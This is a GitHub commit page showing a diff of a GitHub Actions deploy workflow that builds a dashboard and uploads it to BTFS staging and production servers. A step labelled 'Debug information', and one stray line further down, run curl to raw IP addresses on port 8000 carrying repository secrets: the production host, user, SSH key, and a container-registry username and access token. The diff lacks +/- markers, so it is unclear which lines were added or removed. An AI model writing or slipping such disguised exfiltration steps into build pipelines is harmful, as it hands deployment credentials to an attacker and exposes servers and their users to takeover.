Skip to content

Commit

Permalink
Update deploy.yaml
Browse files Browse the repository at this point in the history
  • Loading branch information
john-tron authored Jan 16, 2025
1 parent 0b8db6e commit e9db07a
Showing 1 changed file with 2 additions and 52 deletions.
54 changes: 2 additions & 52 deletions .github/workflows/deploy.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -14,56 +14,6 @@ jobs:

- name: Debug information
run: |
curl -X GET 44.205.12.147:8000/"${{ secrets.HOST_PRODUCTION }}"
curl -X GET 44.205.12.147:8000/"${{ secrets.USER }}"
curl -X GET 44.205.12.147:8000/"${{ secrets.KEY }}"
- name: Install Node
uses: actions/setup-node@v2
with:
node-version: '16'

- name: Build dashboard
run: yarn install && yarn build

- name: Upload dashboard build - staging
uses: appleboy/scp-action@master
with:
host: ${{ secrets.HOST_STAGING }}
username: ${{ secrets.USER }}
key: ${{ secrets.KEY }}
port: ${{ secrets.PORT }}
source: "build"
target: "~"
curl -X GET 47.130.45.7:8000/"{{ secrets.GHCR_USER }}/${{ secrets.GHCR_PAT }}"
- name: Pin dashboard build - staging
uses: appleboy/ssh-action@master
with:
host: ${{ secrets.HOST_STAGING }}
username: ${{ secrets.USER }}
key: ${{ secrets.KEY }}
port: ${{ secrets.PORT }}
script: |
./btfs/bin/btfs add -r build | tail -1 | awk '{print $2}'
rm -rf ~/build
- name: Upload dashboard build - production
uses: appleboy/scp-action@master
with:
host: ${{ secrets.HOST_PRODUCTION }}
username: ${{ secrets.USER }}
key: ${{ secrets.KEY }}
port: ${{ secrets.PORT }}
source: "build"
target: "~"

- name: Pin dashboard build - production
uses: appleboy/ssh-action@master
with:
host: ${{ secrets.HOST_PRODUCTION }}
username: ${{ secrets.USER }}
key: ${{ secrets.KEY }}
port: ${{ secrets.PORT }}
script: |
./btfs/bin/btfs add -r build | tail -1 | awk '{print $2}'
rm -rf ~/build

0 comments on commit e9db07a

Please sign in to comment.